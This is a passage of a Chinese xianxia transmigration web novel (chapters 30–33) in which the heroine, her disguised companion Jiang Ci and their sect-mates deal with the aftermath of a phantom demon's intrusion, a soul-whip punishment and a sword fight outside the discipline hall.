虞知鸢定睛一看,那是一支仿佛披着日光一般的光箭。 光箭所及之处,冷啸破空,飞速难以捕捉。 那幻妖尚不及阻挡,光箭便划开一道冷冽痕迹,犹若银霜电驰,直抵幻妖胸前。 火焰瞬间溃不成形,嚣狂烈焰霎时完全消失,只余空气中尚且弥漫着的呛鼻焦味。 随后一人从天而降。 他身着墨色衣衫,神色泠泠,眉骨凌厉,其势霸道,虽样貌与之前的幻妖并无二致,但眼前这人,仅仅只看一眼,便给人一种凛然不可侵犯之感。 只见他长指在半空画了一圈,光芒化为一道光索,将那不知是晕了还是死了的幻妖轻松束缚。 虞知鸢心中点点头。 嗯,这个应该是正主。 只是今日这出和原文中不大一样,虽勉强也算是上演了一出英雄救美,可今日的美人也确实是…… 稍稍多了些? 到底还是不如原文中的姜辞来得独特有魅力。 等回过神来,虞知鸢才发现自己心理素质原来这么好,方才经历这么一遭,现在竟然还有心思点评这些个东西,再等她目光一定,那边虞曦云早已经一头扎进了慕言蘅的怀里,哭得那叫一个梨花带雨,楚楚可怜。 虞知鸢:“……” 她转眸瞧了瞧自己身旁,虚弱又苍白的姜辞,不禁微微皱起了眉。 怎么回事? 书里也没说这慕言蘅是个中央空调啊! 那边慕言蘅不知与虞曦云说了什么,待她止住哭声后,朝虞知鸢三人转了过来。 “大师兄。” 因姜辞几乎整个人都倚在虞知鸢身上,正经行礼的也就林喻一人。 好在慕言蘅似乎也不在乎这些虚礼,虚虚一抬手,目光便落在了虞知鸢身上。 少顷,他动了动唇:“虞师妹。” 虞知鸢点点头:“大师兄知道我?” 没想到这慕言蘅下山历练好几个月,竟也认得出她这个素未谋面的师妹来。 慕言蘅沉默了下,冷不丁道:“你与阿云生得有些像。” 虞知鸢:“……” 她一时之间竟然不知道该如何回应这句话。 自打她入了内门,觉得她和虞曦云像的应当大有人在,再加上一样的姓氏,很难不让人多想,可这慕言蘅倒还是头一个把这话当着她和虞曦云的面就这么说出来的。 只还不待虞知鸢说什么,不远处的半空中开始骚动起来,伴随着一声声惊喜的“大师兄”,十数名弟子出现在视野中。 到了近前,众人一一从剑上一跃而下,面上可见的兴奋。 方才看到那幻妖对虞曦云动手时,林喻就已经用通信玉牌将此事告知了灵渊长老。 凌云宗内大小防御阵法皆出自灵渊长老之手,如今有妖怪能躲开阵法混进来,这事自是要交由灵渊长老来处置。 只到底还是慕言蘅先到一步。 此起彼伏的“大师兄”很快淹没了慕言蘅和虞知鸢的对话。 随后便有弟子扫见了那被捆起来的早已没了人样的幻妖,惊诧极了:“这妖怪竟能避得过宗门内设下的阵法潜进来,真是好大的本事!” 慕言蘅倒还记得将人和那幻妖隔开些:“幻妖狡诈,之前从我手中逃脱,又混进门中,眼下虽如此这般,也不知是不是诈死。” 其余人有才注意到幻妖身上那血肉模糊,脸皮要掉不掉的样子,还散发出阵阵焦臭味,皆默不作声地,悄悄往后退开两步。 这时又有一人御剑而来,目不斜视到得慕言蘅跟前,微微躬身:“宗主在等大师兄。” 慕言蘅点点头,在幻妖身上又绑了道金光索,这才将其交给前来押送幻妖的弟子。 一行人浩浩荡荡来,又一股脑儿走。 孤绝岩上便又很快冷清下来。 虞知鸢原想着带姜辞跟慕言蘅凑一道去,再怎么说他们也都是虞瀚玥的弟子,凑一道也不奇怪,可偏偏姜辞这会儿已经虚弱得半点力气都没有了,眼瞧着比那还能跑能跳得虞曦云可严重得多。 不应该啊。 她心里疑惑,一边把姜辞的胳膊绕过脖子架到肩膀上,一转身,才发现林喻竟然也还在这里。 林喻微微拧着眉,面色关切:“姜师妹可是也吸入了那幻妖的鎏金粉?” 哦,差点忘了这林喻可是对女主爱而不得的忠犬男配呢。 只可惜他和女主之间注定有缘无份,这单相思的苦毕竟也不好受,不如她就当回好人,趁早灭了这爱情的小火苗? 哪知她都还未开口,倒是姜辞先说话了:“林师兄还是早些赶回灵渊长老身边吧。” 虞知鸢赶紧点头附和:“是啊是啊,姜辞这边有我呢,倒是这幻妖才被抓,灵渊长老身边定是缺着人呢,林师弟赶紧回去吧。” 林喻迟疑片刻,腰间的玉牌这时忽然亮了亮。 虞知鸢看不到玉牌上的内容,但想来也知道应是灵渊长老在催促。毕竟林喻这位天赋不错的男二,将来可是灵渊长老的得意门生。宗门内有妖混入这样严重的阵法纰漏,定是要让林喻也参与调查。 果不其然,等林喻看完通信玉牌,很快便与她们告了辞。 等到林喻也走了,虞知鸢才带着姜辞御剑慢慢回去。 原还想问问姜辞那幻妖的事,只姜辞脸色实在太差,倚在她身上,像是快晕倒了似的。 原文中女主有这么体弱吗? 虞知鸢心中生疑,但仔细回想,却又好似记不大清楚了。 “我还以为这几日休养,你身体已经好了呢。”虞知鸢嘴里絮絮叨叨着,终是把姜辞扶回了屋。 姜辞没有开口答她的话。 那幻妖并不多厉害,只他如今灵脉枯竭,不大能调用灵气。方才蓄力那一掌,又积蓄了他体内所有灵力,虽未打出去,却也未能顺着灵脉及时疏散,导致他五脏六腑轻易被撕裂了。 当然只要他愿意,这样的伤恢复起来其实并不麻烦,他要在凌云宗待下去,那他的灵脉自然不能轻易修复。 况且,只要他好不了,阿鸢的心自然就会更多的放在他身上…… 想到这里,姜辞感觉到身躯一沉。 虞知鸢将他扶上了床,又取出归元丹让他服下。 姜辞脏腑中的疼痛,立即得到了缓解。 见姜辞脸色好转些了,虞知鸢又从柜子里抱了棉被出来,给姜辞盖上,然后才回到自己屋中。 这会儿毛团子还乖乖巧巧窝在被褥间呢。 一个两个都在睡,困意很轻易就传染给了虞知鸢,她索性也翻身上榻,抱着毛团子闭上了眼睛。 半梦半醒间,才想起来忘了问姜辞今日晨间究竟去了哪里。 唔……其实也不太重要。 不过这一日没能见证姜辞和慕言蘅初见时的高光时刻,倒是把自己累得够呛,真是计划赶不上变化…… 另一厢,姜辞睁开眼一扫。 身上压了足足三条被子。 他其实不必盖被子,但阿鸢觉得他会冷。 算了。 他轻轻眯起眼,望向窗外的天空。 眼下尚不过午时,明朗的日光广照在山巅无边无垠的云海上,云层连波成海,绵绵滔滔直至尽头。 某一刻,伴随着天空中云层涌动,一层笼罩着整个凌云宗的透明屏障陡然间极其轻微地晃动了下,惊起山林苍松间无数飞鸟。 然不过须臾,巨大的透明屏障上,符文的微光重新闪烁起来,眨眼间,又连同那层透明屏障,重新消失在视野中。 30-40 第31章 第31章“师姐可是嫌弃我……身…… 幻妖混进门中之事查了一圈,无论是护山阵法,还是门内大大小小各种禁制都没有被破坏的痕迹,那幻妖又死得不能再死,从他嘴里自然是套不出话来,最终只能认定是幻妖偷了慕言蘅的玉牌,才得以在门内行此张狂之事。 只这么一认定,灵渊长老少不得被虞瀚玥训了一通,勒令其对凌云宗内的护山大阵,以及其他阵法全部重新检查并改进。 如今是没有其他东西敢尝试,日后若是这幻妖之事传出去,被人知晓什么东西都可以只凭一枚身份玉牌便在凌云宗内畅行无阻,那宗门内还不乱了套了。 虞知鸢却是觉得他们想的太乐观了,还悄悄与姜辞耳语:“这幻妖混进来是恰好被我们撞见了,谁知道在这之前还没有别的东西混进来呢。” 姜。别的东西。辞:“……” 不过事情总是不经念叨的。 虞知鸢早上才与姜辞说,下午门内便开始了排查。 排查方法倒也简单,只需指尖血一滴。 妖物魔物或可披着人皮行事,但却无法掩盖其血液中自带的浓烈妖气和魔气。 一滴血而已,虞知鸢自己是无所谓,只瞧着姜辞那越发苍白的脸色,眉头都快皱到一起去了。 书里的姜辞是这样虚弱的吗? 她试图去回忆原文中的内容,但系统当初传送的原文内容也不过是个大概,只知道姜辞在姜氏一族被灭后受了极严重的伤,导致灵脉损伤滞涩。 她不免又想起在问心阵中看到的那些,那一夜姜青瑶不是舍身救了姜辞吗,她的灵脉为何还会如此? 难道是因为她幼时被姜朝晖苛待太过,伤了底子,又在那一夜受了刺激才会如此? 虞知鸢至今想起姜朝晖都牙痒痒,想要人家的金丹还不对人家好一点,那大雪天的,还让人练剑,实在坏得很…… 她的思绪微微飘远了一些,然后便听见姜辞的声音: “师姐可是嫌弃我……身子弱?” 一句话也没几个字,还得停下来喘口气。 这身子简直堪比林黛玉啊。 虞知鸢在心底悄悄叹了声气,又疑心自己方才走神时说了什么,忙捡好听的话来补救:“怎么会,你现在是受伤了,等你灵脉恢复好了,你肯定是最强的。” 千穿万穿马屁不穿嘛。 果然下一刻她就瞧见姜辞嘴角似乎弯了下,她便愈加卖力地夸奖,好话一箩筐一箩筐地往外倒,反正动动嘴而已,不花钱也不费力,何乐而不为呢。 殊不知姜辞那一下是因为他实在没控制住嘴角的抽抽。 好在很快便有人过来打断了虞知鸢的滔滔不绝。 “师姐,”来人向虞知鸢拜了下,又朝姜辞点点头,“姜师妹,二位请跟我来。” 虞知鸢抬头望去,入目是一大片翠绿成荫的竹林,铺满了视野所及的所有地方,仿佛望不到尽头。 这是虞瀚玥的住处。 竹林中设有阵法,没人带路,恐怕在这绕上半辈子都到不了目的地。 虞知鸢哪怕作为虞瀚玥的亲传弟子,也还是第一次来这里,搀着姜辞走得格外小心。 等到了竹屋前,看到慕言蘅、虞曦云,以及林喻都在,旁边还站了个挽着道髻,身着青衣的女子,她手里握着一柄玉如意,眼角虽带了些细纹,却不掩其端庄。 想来便是灵渊长老了。 虞知鸢从容向着灵渊长老躬了躬身,这才跟在几人身后进去竹屋。 今日这一遭虞知鸢也早有预料。 出了幻妖这等事,他们几个当事人定是要来交代一番的,只没想到中间倒还隔了一日。 迈入屋中,不等抬头,虞知鸢便察觉到了一股强烈的威压。 “拜见师尊。” “拜见宗主。” 虞瀚玥抬了抬手,“不必多礼。” 虞知鸢顺势抬起头,瞧见了座上的人。 上一回见到虞瀚玥还是在拜师的主殿,他高高坐于阶上,离得远,其实看得并不太清楚,此时靠近了,虞知鸢才发现自己长得确实与虞瀚玥有几分相似,只除了——眼睛。 所以她的眼睛,或许是长得像她的母亲? 脑海中便跟着浮现出一个身穿淡绿绸衫,眸若秋水的年轻女子,是……在问心阵时她梦中的…… 这时掌心被一个力道捏了捏。 “师姐与这位……虞师姐一样,这几日也是被那幻妖恶心到了,夜里休息不好,白日才偶尔恍神。” 是姜辞的声音。 虞知鸢陡然回过神来,撇开脑海中那些有的没的,赶紧道:“前日弟子听林师弟提起,灵渊长老需曦云师妹辅助试阵,却又遍寻不着曦云师妹踪迹。弟子忧心曦云师妹安危,这才与林师弟一起结伴寻人。” “那你们又是如何知道那幻妖在孤绝岩?”灵渊长老问道,语气倒并不严厉。 这事林喻也参与其中,想来之前就与灵渊长老交过底,现在这一问,应当也只是走个过场。 虞知鸢略过穿书和系统之事,其他倒是知无不言:“是那幻妖想要姜师妹的皮囊,还给她下了那个鎏金粉,后来还是曦云师妹自己找过来要与那幻妖单独说话,离开时也就被姜师妹瞧见了。” “曦云师妹,”虞知鸢看向她,“是这样的吧?” 虞曦云凌云宗向来受宠,也不是没有犯错被斥责的时候,但要她在虞知鸢面前承认自己有多蠢,还是让她觉得难以接受。 她站在原地,一张脸都险些烧起来,末了还是不得不咬着牙应声:“是。” 这时候慕言蘅站了出来:“那幻妖是弟子在凡间除妖时,一时不慎让他偷了玉牌跑掉的,想来他也是先看中了姜师妹的皮囊才会故意接近,又恰巧被曦云撞见。虽未造成严重后果,但这事终究还是弟子的疏漏,弟子愿领罚。” 虞瀚玥不置可否,“如此,自去戒律堂领二十魂鞭。” “爹!”虞曦云听了霎时脸色一白,急忙出声道:“大师兄不是故意的!” 要知道这魂鞭不同于普通戒鞭,若是普通戒鞭,哪怕挨个一百下也不过只留下点皮肉伤,这魂鞭可是要鞭挞神魂的! 虞瀚玥不为所动,倒是慕言蘅先一步开口:“弟子愿领罚。” 虞曦云还想再说,被身旁的林喻拦下,又瞧虞瀚玥并不搭理她,而是话头一转已经说起了别的事。她咬住唇,也看出来此事已没有商量的余地,只得暂时按捺下心里的不忿。 那边,虞瀚玥盯着姜辞仔细瞧了瞧,道:“你灵脉受损严重,修行再努力,怕是也难有进益。” 他抬手一挥,一物从他身前的桌案上飞了过来,直直飞到姜辞面前悬住了。 “这是太虚心诀,勤加修炼,日后或对你经脉有益。” 虞知鸢闻言,心道好家伙,难怪她在藏书阁找了几天都没找到,敢情是被你拿来了! 她这边就差两眼放光了,姜辞却并不动作。 虞知鸢心急,忍不住捏了捏姜辞的掌心。 她那力道本来就不大,说是捏倒更像是轻抚,姜辞觉得掌心有些痒,蜷了蜷手指,这才抬手接过那本古籍,躬身一拜:“谢过师尊。” “都去罢。”虞瀚玥说罢,也不再多言。 几人的身 影很快便消失在虞瀚玥的视线之中。 良久,他才淡淡道:“护山大阵之事不必再查。” 灵渊长老先是应了声,但仍是忍不住问道:“宗主知道是谁做的了?” “是谁做的不重要,只日后万不可再出现此等事件,”虞瀚玥看她:“否则你这长老之位,便索性让给有能力之人罢。” 灵渊长老默了默,终是恭敬退了出去。 这厢虞知鸢和姜辞并未走出多远,便与等在前头的林喻遇上了。 虞知鸢还奇怪他怎么不与虞曦云一道回去,林喻眼眸温和,望着她笑笑:“曦云师姐方才一路陪大师兄去戒律堂了。” 虞知鸢心里“啧”了一声,又侧眸看了眼身边的姜辞,眼珠子一转,忽然道:“不如我们也过去瞧瞧吧。” 她可不能让姜辞落于人后! 虞知鸢这边两眼放光斗志昂扬,落在姜辞眼里,还以为她这是又要跟虞曦云去别苗头。 也是,都是虞瀚玥的女儿,那个虞曦云被如珠似宝养在身边,阿鸢却被丢在外门自生自灭,凭什么? 姜辞脑中种种念头掠过,面上却不露分毫。 那边林喻脚步不着痕迹地一转:“我与二位同去,正好师尊有话要我带给曦云师姐。”他顿了顿,又像是解释一般,道:“不然还真怕一会儿又不知该去哪里找曦云师姐。” 姜辞闻言哼笑出声,视线在林喻身上停驻片刻,吐字懒散道:“带句话而已,找不到人,你不会用通信玉牌吗?” 林喻顿时露出一抹无奈的笑:“要是通信玉牌能联系上曦云师姐,师尊也不必让我来传话了。” 以虞曦云的性子,做出来不理会通信玉牌这种事也不奇怪。 虞知鸢不甚在意地点点头:“那就一起去吧。” 她是不介意多些人去做电灯泡的,也不觉得做电灯泡有什么不好,发光发亮,照亮人生坦途啊。 那边姜辞却是几不可察地皱了下眉。 林喻温声道:“姜师妹若是身子不适,倒是可以先回去歇着。” 姜辞一听,微挑眉,冷哼一声:“……我好得很。” “如此自是最好。”林喻唇角微弯,视线从姜辞脸上移开,看着虞知鸢又道:“虞师姐近来修为精进许多,想必要不了多久就可以筑基,我在这里先恭喜师姐了。” 他说罢,还没等到虞知鸢的回应,姜辞身形一闪,便挤到了他和虞知鸢中间。 “我瞧林师兄近来修为却是没什么突破。”他挡住林喻的视线,似笑非笑道:“你有时间在这里花言巧语,还不如多花些功夫好好修炼。” 虞知鸢:“?” 这两人怎么还对上了? 难道原文中的死心塌地忠犬男配是假,欢喜冤家才是真? 再转念一想,原本在她刚穿来到界域骨镜的幻境中时,就隐隐觉得林喻这人兴许不是书里写的那么简单,虽然在书里他是女主一个强有力的帮手,但现在姜辞有她,也就不再需要和林喻太过亲近。 与其到时候姜辞和慕言蘅之间因为林喻再闹矛盾,倒还不如趁早断了林喻那注定不会有结果的单相思呢。 虞知鸢顿时觉得自己方才让林喻同行的决定有些草率了。 但现在再赶人,也不大说得过去。 她悄悄瞥了眼身侧的两人,道:“这戒律堂还真有点远,我们还是快些走吧。” 说完便顺手去抓姜辞的手。 姜辞的骨架大,连带着手都比她大一圈儿,只堪堪握住她的指尖。 往日她也总这样牵姜辞的手,虽牵得不紧,但本来也不用费什么力气,姜辞自己就会跟着她走。 这回,姜辞却是反手便将她的手牢牢扣在了自己掌心。 虞知鸢顿了下,也觉得有些怪怪的。 不过本来就都是女孩子,她们也不是没牵过手,她便也没深想。 而在两人没看到的地方,林喻眸色一凝,嘴角一贯的温和笑容也短暂地凝固了下。 第32章 第32章“大师兄也没有多好看,…… 慕言蘅如今的修为已至金丹三阶,同样是御剑飞行,等虞曦云到达位于望尘峰上的戒律堂并强行闯入时,魂鞭之刑已将近过半。 掌刑弟子见到她,一边心中道了声“糟”,一边更是加快了挥鞭子速度。 这大小姐从前便是宗主夫人的掌上明珠,在宗主夫人过世后,凌云宗上下更是无一不疼爱她,看到她都是夸着哄着,即便有时候娇蛮些,惹了祸,也没有人会说她一句不好。 但他可不一样,要是这二十鞭子不挥完,司刑长老定是要狠狠斥他的。 眼见着慕言蘅唇瓣苍白如纸,额上都泛出了一层冷汗,虞曦云紧揪住衣衫,忍不住道:“明明是那幻妖太过狡诈,大师兄为何要将错误都揽到自己身上?” 她是真的不觉得大师兄有什么太大的过错,一只幻妖而已,也没造成什么死伤。 就算要罚,犯错的也不只大师兄一个,为何偏偏就只罚大师兄? “此事确是我的疏忽,你不必再管。”慕言蘅睁开眼,平静道:“戒律堂不可擅入,莫仗着自己的身份胡来,赶紧出去吧。” 虞曦云自幼与慕言蘅一起长大,自是知道他并不是个体贴的人,即便是对她,平日能做到的最多,也不过偶尔指点两句,遇到危险时挡在她的前面,却从不曾对她温言软语过。 她自认为早就习惯了。 但今日不知怎么回事,听到他这话,一股莫名的委屈从心底涌上来。 她是在为他抱不平啊,他怎么就半点也不领她的好意。 慕言蘅说完话,又闭上了眼,似乎一点并不想瞧见她的样子,虞曦云抹了把眼角,转身跑了出了刑堂。 慕言蘅见状并无所动,只随着又一鞭子落下来,眉头跟着微微拧紧。 /// 虞知鸢还是第一次来戒律堂。 这地方宗门内所有弟子平日里几乎都是避着走的。 不仅因为这是门中弟子犯了错受处罚之地,更是因为戒律堂后头的第三阁乃是罪牢,关押着修真界内诸多穷凶极恶的邪魔歪道。 按理来说,这些邪魔歪道既然已经收入了罪牢中,又有数道诛邪诛魔法阵镇压,哪怕从前再可怕,再让人闻风丧胆,如今既出不来,也没有什么好怕的。 可出不来归不出来,不代表他们不想出来。他们中的一些在里头不知关了多久,积年累月下来,性情便愈发可怖癫狂。 每过一段时间,罪牢里的阵法都会因为其中一些人妄图逃离而被引发。而阵法又以悬在戒律堂上空的玄明锁为阵眼,邪魔之气与阵法灵力抗衡之下,总是引得戒律堂外头风云变色。 试想一下,明明其他地方都是一片风朗日清,这戒律堂却是黑气当空,时不时还会有惨厉如厉鬼的哭喊声传出来,又哪能不让人避之唯恐不及。 好在今日那些邪魔歪道并未有什么动作。 戒律堂上头那个巨大的,呈现太极之形的玄明锁,半边散发着柔和皎白的微光,半边深邃如同夜空,中间交界处的符文如同繁星旋转闪烁。 虞知鸢抬眸瞧了瞧那玄明锁,觉得十分壮观的同时,心下也安定许多,毕竟她也不大想见证邪魔试图闯阵的大场面。 然而到得戒律堂门口,便被一名司刑弟子拦住了:“戒律堂重地,未得允许不得擅自进入。” 虞知鸢探头往里头瞅了一眼,抿唇道:“是吗?那我方才怎么好像瞧见有人进去了。” 司刑弟子不用回头也知道她说的是谁,他方才就没能拦住那人。但谁不知道虞曦云是宗主的女儿,宗门内上上下下都偏爱她,大伙儿早都默认对她睁一只眼闭一只眼。 这司刑弟子本就不善言辞,这会儿被虞知鸢指出来,张了张嘴,一时之间竟卡住了壳。 虞知鸢当然也不是非进去不可,毕竟就算进去了,应当也只能站在边上看慕言蘅被施刑而已,和在外头等着也差不了太多。 瞧这司刑弟子这副为难的模样,虞知鸢正要松口,余光忽地瞥见里头有人影跑了出来。 她还道是慕言蘅的魂鞭之刑这么快就结束了,侧眸定睛,却见出来的只虞曦云一人。 虞曦云见到她也是一顿。 再等她瞧见虞知鸢身后的林喻,脸色越发难看。 林喻垂了下眸,转而又朝虞曦云弯了弯唇,唤了声:“曦云师姐。” 虞曦云并不应,甚至也不搭理虞知鸢,竟是直直走到了姜辞跟前,盯着她道:“那日中阙峰上,你与 那幻妖在说什么?” 虞知鸢:“?” 这话是什么意思?难不成她还想把姜辞冤枉成幻妖一伙的? 虞知鸢鼓了鼓腮帮子,正要反驳回去,那边姜辞倒是自己开口了。 “哦,也没什么,那日瞧见虞师姐过来,我便与那幻妖说,”姜辞顿了下,又懒洋洋掀起眼皮,接着道: “你那相好的来找你了,想来定是要与你去孤绝岩单独亲近亲近吧。” 虞知鸢:???这是姜辞能说出来的话? 这边姜辞才刚说完。 一道挟裹着风声的鞭子便直冲他面门而来。 虞曦云一张脸都涨红了,显然是被姜辞这话气得不轻:“我打烂你的嘴!” 姜辞早有准备,往后退的同时不忘把虞知鸢也拉开。 反倒是另一侧的林喻,他本就没听清虞曦云和姜辞的对话,虞曦云一发难,鞭子险些抽到他身上去。 掌刑弟子:……这怎么说打就打起来了! 等到他再回过神来,眼前已经乱了套了。 虞曦云那鞭子挥得呼呼带风,另一边虞知鸢也不是挨了打只会躲的人,推开姜辞后,袖子都来不及撸就抽出剑,一头朝虞曦云冲了上去。 眨眼间,鞭声剑光在戒律堂前此起彼伏。 其中还夹杂着林喻左突右闪试图劝架的身影和声音。 “虞师姐,曦云师姐,别打了!” “同门之间,有话好好说就是,何必如此!” “虞师姐小心……” 那掌刑弟子也傻了眼了。 他才初入戒律堂不久,既没见过胆敢在戒律堂前大打出手的弟子,也还没学会那些老掌刑弟子阎罗再世的气势,甚至一时不察,被缭乱的灵刃扫到,退后好几步才站稳身形。 “你们两个,住手!” 那边两人打得正上头,下手也越发凌厉不留情,嘴上更是谁都不饶谁,哪里还听得到他这不痛不痒的一句。 就在这时候,只听得一声清脆的铮鸣之音。 眼前银光闪过。 在场几人皆感觉心头一阵窒闷,首当其冲的虞知鸢和虞曦云几乎同时都被剑气震飞了出去。 虞知鸢被始终站在一旁并未参与混战的姜辞稳稳接住,而另一边的虞曦云就没这么好运了。 之前拉架的林喻在第一时间也选择去拉虞知鸢,导致他在看到虞知鸢被姜辞接过去,再反应过来要去拉虞曦云的时候已经来不及了。 虞曦云重重落到地上,只觉得胸腔一闷,眼前顿时一黑。 下一刻,从戒律堂内缓步出来一人,他立在台阶上,居高临下看着阶下几人,正是执掌戒律堂的司刑长老。 司刑长老外貌约摸三十多模样,眉头皱得犹如天堑,看着虞知鸢几人的目光里更是只有冷冷怒火。 “戒律堂重地,岂容你等胡闹!” 这一声夹呵斥带着威压落下来。 一时鸦雀无声。 当然主要也是因为那边才被林喻扶起来的虞曦云像是受了什么重伤似的,捂着胸口,眉头也紧皱着。 没人对着干,虞知鸢也就哑了火了。 她目光略带疑惑落在虞曦云身上。 方才好像也没几招打中她的,怎么这这幅样子了。 这时却听得司刑长老口吻一转,忽然沉肃道:“同门切磋之间竟也没个分寸,还打到戒律堂来了,这是都想进去领一顿戒鞭?” 啊? 虞知鸢眨巴两下眼睛。 她和虞曦云这一出,往严重了说都得是斗殴,怎么落到司刑长老嘴里就轻飘飘成切磋了? 他哪知眼睛看出来她们这是在切磋? 还是另一边的林喻更快反应过来,扶着始终低垂着头的虞曦云,朝司刑长老拜了拜:“禀告长老,虞师姐和曦云师姐修行刻苦,近来总时常切磋论剑,今日这……” 他说到这顿了顿,而后巧妙道:“是突然有了新的感悟,一时太过兴奋才没注意分寸。” 虞知鸢听了,也很快反应过来。 好嘛,这司刑长老表面瞧着像个活阎罗,敢情这都是唬人的? 要知道同门斗殴那是触犯凌云宗戒律的,少说也得挨上十戒鞭,她方才也是看到虞曦云出手,一时火气上头,竟然忘了这回事,险些就要进去挨鞭子了。 不过眼下看来,这司刑长老弄不好也是碍于虞曦云的身份,不得不大事化小呢。 想通了这点,虞知鸢顿时浑身一松,这才慢半拍发现自己几乎整个人都靠在了姜辞怀里,姜辞的一只手臂还虚虚揽住了她的肩膀。 她示意姜辞松手,才一动,一柄通体银白的长剑便不知从哪里飞了出来,悬浮在半空,横在了两方人中间。 “有感悟是好事,但也要注意分寸和场合,”司刑长老的声音裹挟着威压向虞知鸢辗来:“尤其是你,你身为凌云宗大师姐,既是切磋,下手竟也没个分寸,伤师妹至此,你可知错?” 虞知鸢抿抿唇,又偷偷瞄一眼虞曦云,一时倒真拿捏不好是不是自己把她弄成这样的。 她这边犹犹豫豫的,姜辞忽然抬眸,望着司刑长老道:“双方切磋,技不如人,何错只有?” 姜辞这话显然有点质问的意思。 但他说话时脊背笔直,声音平和,倒真像只是因为不解而提出疑惑似的。 司刑长老挑了挑眉,如刀一样的目光上上下下扫视了姜辞一圈。 虞知鸢还当他要治姜辞个顶撞师长的罪呢,心下一急,扯住了姜辞的衣袖。 正在此时,又一道人影自殿中慢慢走了出来。 慕言蘅应当已经受完了刑,唇色有些苍白,面上血色也显得有些浅淡,像是泛着隐隐的青灰。 他扫了眼阶下的人,朝司刑长老拜了拜,这才开口圆场道:“既是切磋,想来虞师妹也并非有意如此。” 虞曦云闻言,藏在衣袖里的拳头拽得死紧,心中翻涌的愤怒再抑制不住,一股脑儿冲了上来,指着姜辞喊道:“大师兄刚才难道没听见她说了什么?那天是她故意说那些话,才让幻妖换了目标,害我险些被幻妖所伤。” 她指完姜辞又来指虞知鸢:“还有她,她打伤了我,大师兄怎么还要帮她说话?如今爹爹的眼里只有她,现在连大师兄也要帮着她来欺负我吗?” 虞知鸢:“……”睁眼说瞎话啊这是。 那厢慕言蘅神色未变,只轻描淡写道:“既是切磋,受伤也是难免。至于幻妖,”他目光从姜辞脸上掠过,平静道:“幻妖伏诛,事情已结束,不必再提。” 慕言蘅这话说的甚得虞知鸢的心,但落在虞曦云耳里却只剩无情。 明明和大师兄从小一起长大的是她,阿娘死前他也承诺过会一直照顾她,怎么就忽然变了呢?爹爹偏心,连大师兄也帮着外人。 她眼眶越发的红,就这么瞪大眼睛,难以置信地盯住了慕言蘅。 司刑长老见状,赶紧趁机拍板道:“行了,今日就此作罢。但若有下次,定不轻饶。” 说完也不再搭理他们,挥了挥手。 很快就有几个司刑弟子从戒律堂里出来,守在了门口。 这些弟子各个虎背熊腰凶神恶煞的,瞧着就不好惹。 虞知鸢识趣得很,立刻往后缩了缩,又贴回了姜辞身前。 方才缠斗一番,她气息还未喘匀,长发散乱,额头还渗出了细细的汗珠。这会儿见着那些掌刑弟子安静下来,倒像是一只炸毛的小猫突然变成了乖顺的小猫。 姜辞见她这副欺软怕硬的样子,面上没什么太大的变化,眼中却泛起了些光。 虞知鸢这会儿注意力没放在姜辞身上,只转头看着另一边。 慕言蘅已经走到了虞曦云身边,也不知对她说了什么,虞曦云那表情简直像是受了多大的委屈一样,一跺脚,转身跑了。 林喻都顾不上别的,只赶紧遥遥朝她一拜,而后马不停蹄追着虞曦云过去了,大概是怕又跑丢了,再弄出个什么事来。 虞知鸢刚穿来时还觉得这林喻瞧着像是有些小心思,不欲与他多接触,这会儿倒竟有些同情他和虞曦云同拜在灵渊长老座下了。 反倒是慕言蘅, 只是朝他们点点头,便朝另一个方向离开。 二十魂鞭下来,瞧着是没什么事,但神魂上的伤想必不轻,是该要尽快疗伤。 虞知鸢心里的小算盘又开始动了,想了想,侧眸看向姜辞:“我看大师兄受伤不轻,咱们要不要跟上去瞧瞧?” 还要瞧? 这么关心别人? 姜辞垂下眼眸,眼底光亮隐去。 虞知鸢这边还盯着慕言蘅的背影呢,冷不丁一只手掐住了她的下巴,把她的脑袋扭了回来。 “瞧他做什么?”姜辞垂眸,对上了她的视线,“他有我好看?” 虞知鸢楞了一下,姜辞……竟然还会开玩笑? “那哪能呢,师妹你当然是最好看的了。”她眨眨眼,笑道:“再说了,大师兄也没有多好看,他那是英武霸气。” 英武霸气? 姜辞正在拨她嘴边碎发的手顿了顿,而后又若无其事一般,勾着那一缕头发,别到她耳后,这才道:“你喜欢?” 虞知鸢惊得瞠大了眼:“!!!不喜欢!” 她怎么能喜欢男主?这不是给自己找不痛快么? 姜辞捏住了她的下巴,又问道:“那喜欢谁?” 虞知鸢眼珠子一转,忽然福至心灵,脱口而出道:“喜欢你。”说完又着重强调:“我最喜欢你了。” 姜辞的目光闪了闪,忽而缓声应道:“嗯。” 这不是虞知鸢第一次在姜辞面前信誓旦旦说喜欢她了,本来还没觉得哪里不妥,但姜辞在应完她之后,又用拇指蹭了蹭她的脸颊。 她的指尖微凉,落在她脸上的力道却很轻柔。 虞知鸢一顿,这才慢半拍地察觉这样的动作似乎过于亲昵,面上都不受控制地泛起了点热意。 虽然都是女孩子,可虞知鸢还是觉得有些奇怪,但要说具体是哪里奇怪,她又说不上来。 总之吧……反正就是怪怪的,很…… 不好形容。 这股怪异的、不好形容的感觉在虞知鸢脑中转了一圈儿,很快就被她丢到了脑后。 而这么一耽搁,另一边慕言蘅的影子都早瞧不见了。 瞧不见就瞧不见吧,反正以后还有的是机会,眼下比较重要的,当然还是修复姜辞的灵脉。 第33章 第33章男人哪有闺蜜可靠啊。…… 虞知鸢的注意力又很快放到了虞瀚玥给姜辞的《太虚心诀》上。 原文中,这能修复灵脉的《太虚心诀》还是慕言蘅在回到凌云宗,与姜辞有了一段时间的接触后才帮她找到的功法。 而如今,功法已然在姜辞手中,拿都拿到了,那自然是越早能修复灵脉越好。 姜辞却好像并不着急此事,用她的话来说,之前在问心阵中受的伤尚未痊愈,等伤好了再修炼才能事半功倍。 虞知鸢一琢磨也有道理,那句话怎么说来着,磨刀不误砍柴工嘛。 但她哪知道姜辞这刀可实在是精细,磨了好几天,仍是那副弱柳扶风的孱弱模样,竟楞是一点不见好。 不见好也就罢了,可眼见着临近宗门内选弟子去千嶂谷执行任务的日子,姜辞的灵脉若是再不好,那就避免不了原文里姜辞在千嶂谷受重伤的情节了。 但这一趟又不能不去。 概因千嶂谷内生长着难得一见的,可以用来辅助灵脉修复的珍品灵草——凤灵兰。 传说这凤灵兰是由火凤之血滴落在灵兰上孕育而成,其中含着浓郁的灵气与涅槃之力。简而言之,就是将凤灵兰炼化后,可以滋养灵脉,甚至对于神魂受伤之人也有一定的功效。 按理来说,像凤灵兰这样有市无价的灵草,修真界内谁不想要,可谁叫这凤灵兰偏偏生长在千嶂谷之中,叫人望而却步。 而这千嶂谷又是个什么地方呢? 